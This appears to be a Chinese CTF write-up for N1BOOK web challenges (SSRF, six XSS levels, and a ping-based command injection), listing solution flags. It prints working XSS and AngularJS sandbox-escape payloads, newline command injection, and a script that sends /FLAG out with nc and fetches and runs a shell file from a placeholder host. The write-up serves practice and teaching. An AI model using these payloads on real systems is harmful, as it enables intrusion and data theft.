🍬 博主介绍👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
前言
[第二章 web进阶]SSRF Training
[第二章 web进阶]XSS闯关
[第二章 web进阶]文件上传
前言
N1BOOK是Nu1L Team为方便读者打造的免费平台,读者可在上面享受书籍相关资源以及查阅勘误。
[第二章 web进阶]SSRF Training
n1book{ug9thaevi2JoobaiLiiLah4zae6fie4r}
打开环境,最值得关注的就是下面两个地方,一个是代码审计的,还有一个是提示flag是flag.php文件里面
intersting challenge代码审计
1、check_inner_ip($url) 函数用于检查输入的URL是否为内网IP地址,首先使用正则表达式匹配URL格式,然后解析URL获取主机名,再通过 gethostbyname 函数获取主机名对应的IP地址,最后使用 ip2long 函数将IP地址转换为整数进行比较,判断是否为内网IP地址。如果是内网IP地址,则直接打印该URL为内网IP地址;否则,调用 safe_request_url($url) 函数进行安全的URL请求和处理。
2、safe_request_url($url) 函数中首先调用 check_inner_ip($url) 函数进行检查,如果URL为内网IP地址,则直接打印该URL为内网IP地址;否则,通过 cURL 发起请求,获取URL的内容。同时,也会检查返回的 HTTP 头中是否包含重定向地址,如果有重定向则递归调用 safe_request_url($url) 函数去处理重定向地址。
我这里尝试利用file读取flag.php,猜测网站根路径是/var/www/html
右击查看源代码,发现flag了
[第二章 web进阶]XSS闯关
n1book{xss_is_so_interesting}
题目提示我们利用alert函数进行闯关
level1,用简单的xss反弹语句就可以成功
level2,查看源代码,
我们可以看到username被escape函数编码了,基本上就很难绕过。因此我们从username本身想办法。可以这样构造:
?username=';alert(1);//
level3
发现一个单引号被转义了,那么我们可以尝试利用两个单引号进行过滤
?username='';alert(1);//
level4
查看源代码:
伪链接
javascript:alert(1),浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行。
代码中接收jumpUrl作为跳转url
/level4?jumpUrl=javascript:alert(1)
level5
限制1
getQueryVariable('autosubmit') !== false
解决限制1,给autosubm传个值
autosubmit=1
限制2
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
解决限制2,同样是传值,只不过是传我们的注入语句
完整payload
/level5?autosubmit=1&action=javascript:alert(1)
level6
?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
这道题目其实知道是第七关的flag
可以直接把level1改成level7,然后直接利用<script>alter('xss')</script>,就可以拿到flag,因为第七关没有任何的过滤
[第二章 web进阶]文件上传
n1book{6fa82809179d7f19c67259aa285a7729}
通过简单的ping命令测试,发现有很多的过滤,所以先利用fuzz.txt字典进行测试下有哪些过滤
利用burp,测试得到以下被过滤了:
["$", "{", "}", "`", ";", "&", "|", "(", ")", "\"", "'", "~", "!", "@", "#", "%", "^", "*", "[", "]", "\\", ":", "-", "_"];
通过%0a能够注入新的一条命令进行执行
ip=127.0.0.1%0als
用小号在BUU上开一个内网的主机
编写1.sh,内容如下:
ls
cat /FLAG | nc your_buu_ip 8089
把他复制到网站根目录
在靶机上用curl下载
127.0.0.1%0acurl your_buu_ip/1.sh > /tmp/1.sh #请求bash文件到tmp目录
nc -lvp 8089 #your_buu_ip的机器上进行监听8089端口
127.0.0.1%0ash /tmp/1.sh #执行bash文件
n1book{6fa82809179d7f19c67259aa285a7729}